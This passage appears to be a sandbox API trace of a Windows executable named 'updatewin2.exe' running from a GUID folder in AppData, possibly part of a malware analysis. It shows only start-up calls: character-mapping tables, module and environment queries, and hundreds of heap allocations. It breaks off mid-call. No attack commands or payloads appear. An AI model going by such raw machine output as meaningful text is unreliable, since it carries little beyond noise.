¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0054.642] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x18e968, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0054.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f224, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x87\x46\x3e\xbe\x60\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x80) returned 0x53a3e8 [0054.642] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x417ca8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe")) returned 0x5f [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xc8) returned 0x53c478 [0054.642] RtlInitializeSListHead (in: ListHead=0x417bc8 | out: ListHead=0x417bc8) [0054.642] GetLastError () returned 0x0 [0054.642] SetLastError (dwErrCode=0x0) [0054.642] GetEnvironmentStringsW () returned 0x53c548* [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xaca) returned 0x53d020 [0054.642] FreeEnvironmentStringsW (penv=0x53c548) returned 1 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x98) returned 0x53c548 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3e) returned 0x53db10 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x6c) returned 0x53c5e8 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x6e) returned 0x53c660 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x78) returned 0x521180 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x62) returned 0x53c6d8 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2e) returned 0x5252d0 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x48) returned 0x53c748 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x28) returned 0x53a470 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1a) returned 0x53c028 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4a) returned 0x53c798 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x72) returned 0x521200 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x525308 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2e) returned 0x525340 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1c) returned 0x53c050 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xd2) returned 0x53c7f0 [0054.642] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x7c) returned 0x53c8d0 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x36) returned 0x53c958 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3a) returned 0x53db58 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x90) returned 0x53c998 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x24) returned 0x53ca30 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x525378 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x36) returned 0x53ca60 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x48) returned 0x53caa0 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x52) returned 0x53caf0 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3c) returned 0x53dba0 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x82) returned 0x53cb50 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2e) returned 0x5253b0 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1e) returned 0x53c078 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2c) returned 0x5253e8 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x54) returned 0x53cbe0 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x52) returned 0x53cc40 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2a) returned 0x525420 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3c) returned 0x53dbe8 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x54) returned 0x53cca0 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x24) returned 0x53cd00 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x525458 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x8c) returned 0x53cd30 [0054.643] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53d020 | out: hHeap=0x510000) returned 1 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x800) returned 0x53cdc8 [0054.643] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0054.643] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402b17) returned 0x404e49 [0054.643] GetStartupInfoW (in: lpStartupInfo=0x18f590 | out: lpStartupInfo=0x18f590*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1423) returned 0x53eaf8 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1423) returned 0x53ff28 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c118 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x53d5d0 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c140 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x525490 [0054.643] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53d5d0 | out: hHeap=0x510000) returned 1 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c168 [0054.643] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x48) returned 0x53d5d0 [0054.644] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x525490 | out: hHeap=0x510000) returned 1 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c190 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x53d620 [0054.644] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53d5d0 | out: hHeap=0x510000) returned 1 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x53d688 [0054.644] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53d620 | out: hHeap=0x510000) returned 1 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c1b8 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xd8) returned 0x53d720 [0054.644] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53d688 | out: hHeap=0x510000) returned 1 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c1e0 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c208 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x138) returned 0x53d5d0 [0054.644] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53d720 | out: hHeap=0x510000) returned 1 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c230 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c258 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c280 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c2a8 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c8) returned 0x53d710 [0054.644] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53d5d0 | out: hHeap=0x510000) returned 1 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c2d0 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c2f8 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c320 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c348 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2a0) returned 0x541358 [0054.644] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53d710 | out: hHeap=0x510000) returned 1 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c370 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c398 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c3c0 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c3e8 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c410 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53c438 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541618 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541640 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x3f0) returned 0x53d5d0 [0054.644] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541358 | out: hHeap=0x510000) returned 1 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541668 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541690 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5416b8 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5416e0 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541708 [0054.644] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541730 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541758 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541780 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5417a8 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e8) returned 0x541e00 [0054.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53d5d0 | out: hHeap=0x510000) returned 1 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5417d0 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5417f8 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541820 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541848 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541870 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541898 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5418c0 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5418e8 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541910 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541938 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8d0) returned 0x5423f0 [0054.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541e00 | out: hHeap=0x510000) returned 1 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541960 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541988 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5419b0 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5419d8 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541a00 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541a28 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541a50 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541a78 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541aa0 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541ac8 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541af0 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541b18 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541b40 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541b68 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541b90 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541bb8 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xd38) returned 0x542cc8 [0054.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5423f0 | out: hHeap=0x510000) returned 1 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541be0 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541c08 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541c30 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541c58 [0054.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541c80 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541ca8 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541cd0 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541cf8 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541d20 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541d48 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541d70 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541d98 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541dc0 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541e18 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541e40 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541e68 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541e90 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541eb8 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541ee0 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541f08 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541f30 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541f58 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541f80 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541fa8 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541fd0 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x541ff8 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542020 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542048 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x13eb) returned 0x543a08 [0054.646] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542cc8 | out: hHeap=0x510000) returned 1 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542070 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542098 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5420c0 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5420e8 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x525490 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542110 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542138 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542160 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542188 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5421b0 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5421d8 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542200 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542228 [0054.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542250 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542278 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5422a0 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5422c8 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5422f0 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542318 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542340 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, 